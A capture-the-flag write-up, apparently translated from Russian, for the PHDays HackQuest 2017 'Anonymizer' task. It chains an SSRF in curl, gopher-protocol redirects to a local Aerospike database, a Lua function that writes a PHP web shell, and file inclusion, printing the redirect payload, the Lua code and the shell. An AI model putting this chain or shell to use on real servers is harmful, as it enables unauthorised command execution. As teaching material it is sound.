📜 ⬆️ ⬇️

[PHDays HackQuest 2017] Anonymizer: SSRF or what can be dangerous curl

Analysis of the job Anonymizer (still available here ) with PHDays HackQuest 2017.




After clicking the "GO" button, the following request goes to the site:



And in response, we see the contents of the site we requested:



We try together google.com to ask the Anonymizer to show us 127.0.0.1 and we see that the Anonymizer main page comes in response. This means that the IP address of the host to which the server sends the request is not validated in any way, and using this we can search for some interesting service listening to one of the ports on the local host. Often, if the service only listens to a localhost, it is not configured to authenticate, which can play into our hands.


First we need to scan ports available on 127.0.0.1. To do this, we write a small script that will send requests of the form https://anonymizer.rosnadzorcom.ru/?url=127.0.0.1:<port>&page=curl&submit=111 and track interesting behavior. As a result of running the script, it turned out that when queried for ports 3001 and 3003, the connection drops on timeout.



Google showed that ports 3000-3003 are using NOSQL Aerospike DBMS.


The most interesting port for us is 3000, since it is used to manage the DBMS, but the control protocol itself is not a text one (unlike, for example, Redis). Here we are helped by the fact that the Anonymizer requests web pages using curl, which has a rich application for SSRF (here is one of the best manuals on using SSRF with curl ).


We will use the fact that curl supports the Gopher protocol, which allows you to send any data over TCP using curl using a request of the form gopher://<host>/<url-encoded-data> (convenient, right?). And in order to avoid possible problems with protocol filtering on the server side, let's use the redirect trick: we will make requests to our web server, which will contain the following script:


 <?php header('Location: gopher://127.0.0.1:3000/<url-encoded-data>'); ?> 

Since interaction protocol with Aerospike binary, in order not to waste time on its analysis, we will raise this DBMS on our host and see what traffic is transmitted by the aql management utility for various requests. For example, here's the traffic matching the query "SHOW NAMESPACES".



We stuff the bytes from the traffic dump into the Location header and compare the result of the query execution by regular means on the test DBMS.



and on the taskbar database via SSRF.



In my opinion, it looks pretty similar.


After small dancing around the DBMS, it became clear that there was no flag in the database itself. So, you need to get it from the file system. Since it is impossible to work with the FS in the stock Aerospike configuration, you need to think of a way to fill and activate the php shell. This is where the Local File Inclusion vulnerability will help us due to the lack of content filtering for the page parameter.



And so, we have a way to activate the shell, it remains only to deliver it to the host. By the way, you will have to create in Aerospike User Defined Functions, written in LUA. We write a function that will write the shell at /var/www/html/sl4v.php.


 function hello_world() file = io.open("/var/www/html/sl4v.php", "w") file:write("<?php if(isset($_REQUEST['cmd'])){echo '<pre>'; $cmd = ($_REQUEST['cmd']); system($cmd); echo '</pre>'; die;}?>") file:close() return "1" end 

Using the REGISTER MODULE and EXECUTE <module>.<function>(<args>) ON <ns>[.<set>] we create and run a UDF on a test base, write traffic, send a request via SSRF and see that the UDF has completed but with an error.



It seems that the DBMS does not have rights to write to the /var/www/html/ folder, but has rights to write to the opt/aerospike/usr/udf/lua/ folder. It remains only to perezalit shell with the correct path and a little search for the flag.



Thanks for attention!


')

Source: https://habr.com/ru/post/328782/


All Articles